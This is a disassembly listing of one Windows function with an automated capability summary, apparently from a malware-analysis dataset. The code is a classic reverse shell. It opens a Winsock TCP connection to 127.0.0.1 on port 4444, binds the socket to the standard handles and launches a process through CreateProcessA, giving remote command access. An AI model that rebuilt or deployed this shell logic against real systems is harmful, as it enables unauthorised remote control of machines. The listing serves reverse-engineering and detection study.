Function at 0x4adda0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call fcn.0040a540
mov eax, dword [0x4b7c34]
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], 0x4b7c38
mov dword [esp + 4], eax
mov dword [esp], 0x4b7c24
call fcn.00419e5c
mov dword [ebp - 0xc], str.127.0.0.1
mov word [ebp - 0xe], 0x115c
mov dword [esp + 4], 0x4b7ce0
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [0x4b7cc0], eax
mov word [0x4b7c14], 2
movzx eax, word [ebp - 0xe]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [0x4b7c16], ax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [0x4b7c18], eax
mov eax, dword [0x4b7cc0]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x4b7c14
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAConnect]
call eax
sub esp, 0x1c
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x4b7c60
call sub.msvcrt.dll_memset
mov dword [0x4b7c60], 0x44
mov dword [0x4b7c8c], 0x100
mov eax, dword [0x4b7cc0]
mov dword [0x4b7ca0], eax
mov eax, dword [0x4b7ca0]
mov dword [0x4b7c9c], eax
mov eax, dword [0x4b7c9c]
mov dword [0x4b7c98], eax
mov dword [ebp - 0x16], 0
mov dword [ebp - 0x12], 0
mov dword [esp + 0xc], 0x4b7c24
mov dword [esp + 8], 0x4b804e
mov dword [esp + 4], 8
lea eax, [ebp - 0x16]
mov dword [esp], eax
call fcn.0041a150
mov dword [esp + 0x24], 0x4b7c48
mov dword [esp + 0x20], 0x4b7c60
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x16]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp], 0
call sub.msvcrt.dll_exit
mov dword [0x4b7aa4], 0x4c2590
mov ecx, 0x4b7aa4
call fcn.004a4d10
mov dword [esp], ebx
call fcn.0040df40
mov dword [0x4b7a04], 0x4c2590
mov ecx, 0x4b7a04
call fcn.004a4d10
mov dword [esp], ebx
call fcn.0040df40
mov dword [0x4b7968], 0x4c2590
mov ecx, 0x4b7968
call fcn.004a4d10
mov dword [esp], ebx
call fcn.0040df40
mov dword [0x4b7b44], 0x4c2590
mov ecx, 0x4b7b44
call fcn.004a4d10
mov dword [esp], ebx
call fcn.0040df40
mov dword [0x4b7824], 0x4c2580
mov ecx, 0x4b7824
call fcn.004a4d10
mov dword [esp], ebx
call fcn.0040df40
mov dword [0x4b7784], 0x4c2580
mov ecx, 0x4b7784
call fcn.004a4d10
mov dword [esp], ebx
call fcn.0040df40
mov dword [0x4b76e8], 0x4c2580
mov ecx, 0x4b76e8
call fcn.004a4d10
mov dword [esp], ebx
call fcn.0040df40
mov dword [0x4b78c4], 0x4c2580
mov ecx, 0x4b78c4
call fcn.004a4d10
mov dword [esp], ebx
call fcn.0040df40
mov dword [esp], eax
call fcn.004ad070
add esp, 0x1c
jmp fcn.004ad1b0